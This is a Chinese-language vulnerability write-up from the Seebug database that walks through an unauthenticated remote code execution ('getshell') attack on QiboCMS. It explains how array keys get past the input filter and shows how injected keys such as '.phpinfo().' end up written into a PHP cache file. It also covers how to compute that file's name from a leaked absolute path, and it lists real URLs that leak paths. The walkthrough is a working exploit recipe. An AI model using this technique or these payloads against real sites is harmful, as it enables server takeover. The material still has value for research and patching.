qibocms全部开源系统 Getshell

2014-07-31T00:00:00
ID SSV:94160
Type seebug
Reporter Root
Modified 2014-07-31T00:00:00

Description

简要描述:

多研究研究了会 发现可以Getshell。 看了看qibo所有的开源系统 都存在这洞。 无需登录 Getshell。 之前一直在因为不能直接闭合而纠结。 找P神指点了指点 成功搞定。 用整站系统来演示一下把。


P.S. 狗哥 能否送我个邀请码/hx

详细说明:

全局过滤函数

function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; }

看似修复得很完美 可是呢。

<img src="https://images.seebug.org/upload/201407/30193607cb26890b034418502bf72469bc5e32ca.jpg" alt="30.jpg" width="600" onerror="javascript:errimg(this);">

被匹配出 当像下图这样提交的时候 匹配的key是asd 那么就不会被匹配出 就不会被过滤。

<img src="https://images.seebug.org/upload/201407/301936158e4a6f0f0eda77a47aa74a24b0d370e9.jpg" alt="31.jpg" width="600" onerror="javascript:errimg(this);">

在label_module.php中 这里无需登录任何

``` else { foreach($label AS $key=>$value) { var_dump ($value);exit; //如果是新标签时,即为数组array(),要清空 if(is_array($value)) { $label[$key]=''; } } //写缓存 if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){ $_shows="<?php\r\n\$haveCache=1;\r\n";

    foreach($label AS $key=&gt;$value){
        $value=addslashes($value);
        $_shows.="\$label['$key']=stripslashes('$value');\r\n";
    }
    write_file($FileName,$_shows.'?&gt;');
}

} ```

由于qibo是

foreach($_POST AS $_key=&gt;$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=&gt;$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; }

所以这变量$label 可以直接控制。 然后循环出来 数组中的key 和 value 都直接写入到了缓存文件中。 这里由于value 全局的函数 会受到第一次转义 $value=addslashes($value); 这里又经过了第二次转义 那么就是a\\' "\$label['$key']=stripslashes('$value');\r\n" 写入时候的代码 就看有个stripslashes 其实是不会被执行的 而就是把stripslashes写入到文件当中。 这时候只有来利用key 由于在全局的过滤函数中没对key做addslashes(也不能做addslashes) 所以不会被转义 而且结合上面的 就直接绕过了。 当写入到文件中的时候是这样的。

<img src="https://images.seebug.org/upload/201407/30194521aa904f4374820c82cf072c10caa42dab.jpg" alt="34.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201407/301948265f2052e0766f20b8b081f1b2c5bd7472.jpg" alt="36.jpg" width="600" onerror="javascript:errimg(this);">

key中直接含单引号 被匹配到然后退出了。 结合上面的方式绕过。

<img src="https://images.seebug.org/upload/201407/30194923e253a0661e7ca1cd800f15ec907af542.jpg" alt="37.jpg" width="600" onerror="javascript:errimg(this);">

这时候写入的代码为 $label['asd'']=stripslashes(''); 后面的stripslashes('') 为啥是空的了呢 如果不是空的还能利用转义符来搞。 因为我们这样提交index.php?label[asd'][asd]=asda' 这样的那么他的value是数组

if(is_array($value)) { $label[$key]=''; }

就清空了。 一开始我一直在纠结如果闭合之前的这个[ 我就需要提交一个yu']# 类似这样的 可是写入的是数组中的key 如果要在key中写入]的话 那么就成了 http://web.com/qibov7/index.php?label[asd']][asd]=asda' 就成了[asd']] 这样 那么提交的] 和之前[ 闭合 然后key就还是asd' 然后就一直在这纠结这个问题。。 后面问了问P神 尼玛 瞬间给我解决。 P神给的['a'."${phpinfo()}".''] 利用双引号的二次解析来Getshell 那么就让我们的key为a'."${phpinfo()}".' 这个就行了 不含]

<img src="https://images.seebug.org/upload/201407/30195756169964c74aae67a35c2fc27d59003457.jpg" alt="38.jpg" width="600" onerror="javascript:errimg(this);">

测试一下能不能执行

<img src="https://images.seebug.org/upload/201407/3019591396231ee4ec9779024d6644d75ad1346e.jpg" alt="39.jpg" width="600" onerror="javascript:errimg(this);">

竟然报错了? 这里我们用一下错误抑制符 那么也就是['a'."${@phpinfo()}".''] 提交的key为a'."${@phpinfo()}".'

<img src="https://images.seebug.org/upload/201407/30200101365e68ce0b4dcaa8b2547d72bdac7bb4.jpg" alt="40.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201407/30200107e183bb756de9f1fa16e3c0ca33bee940.jpg" alt="41.jpg" width="600" onerror="javascript:errimg(this);">

成功执行。 后面我再简化了一下其实是不需要用到双引号的二次解析的 [''.phpinfo().''] 提交的key为'.phpinfo().' 依旧可以直接执行 之前的思维一直就是想着去闭合。唉。


内容可以搞定了 这里我们再来看一下文件名是咋来的

$FileName=ROOT_PATH."cache/label_cache/"; if(!is_dir($FileName)){ makepath($FileName); } $FileName.=(ereg("\.php",basename($WEBURL))?preg_replace("/\.php(.*)/","",basename($WEBURL)):'index')."_".intval($ch)."_".intval($ch_pagetype)."_".intval($ch_module)."_".intval($ch_fid)."_".intval($city_id).'_'.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php";

首先目录cache/label_cache/
再来看文件名 ".intval($ch)."".intval($ch_pagetype)."".intval($ch_module)."".intval($ch_fid)."".intval($city_id).''.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php" 就是经过一系列的转整 除开$ch 为1 其他的那些变量 我们都没去定义 那么intval 后为0 那么就是index_1_0_0_0_0_substr(md5(getTpl("index",$chdb[main_tpl])),0,5).php 来看一下这个 getTpl("index",$chdb[main_tpl]) 这个其实就是模版地址 网站的绝对路径+默认模版地址 这里用到了网站的绝对路径 所以我们要找一个可以泄漏绝对路径的。 会泄漏绝对路径的地方很多 我随便贴两处把 http://v7.qibosoft.com/data/label_hf.php http://v7.qibosoft.com//do/fontimg.php http://v7.qibosoft.com//hack/gather/inc/show_system_fid.php 以为本地测试为例

<img src="https://images.seebug.org/upload/201407/30201305f5aca1763aba5bfd4b5724df24d0e484.jpg" alt="42.jpg" width="600" onerror="javascript:errimg(this);">

D:\ApmServ\www\htdocs\qibov7\data\label_hf.php 那么网站的绝对路径就为 D:\ApmServ\www\htdocs\qibov7 再加上默认模版路径/template/default/index.htm 那就是 D:\ApmServ\www\htdocs\qibov7/template/default/index.htm 对这个进行md5一次 得到82e4a1041f04d2edb779e87b37623786 然后他这里是substr(md5(getTpl("index",$chdb[main_tpl])),0,5)取前5位 那么就是82e4a 再拼凑起来 那么就得到 cache/label_cache/index_1_0_0_0_0_82e4a.php

<img src="https://images.seebug.org/upload/201407/30201751c333348273ccaa2aa5a077c8f2660c38.jpg" alt="43.jpg" width="600" onerror="javascript:errimg(this);">

找文件的第二种方法 在windows iis下可以利用短文件名来猜解 如果windows apache的话 那就更简单了 直接cache/label_cache/index_~1.php

<img src="https://images.seebug.org/upload/201407/3020194312101c0f9c60b5d2f68682dae3d81c8d.jpg" alt="44.jpg" width="600" onerror="javascript:errimg(this);">

直接就可以了。 当然 5位 也可以尝试爆破一下嘛 哈哈。

漏洞证明:

见上面把。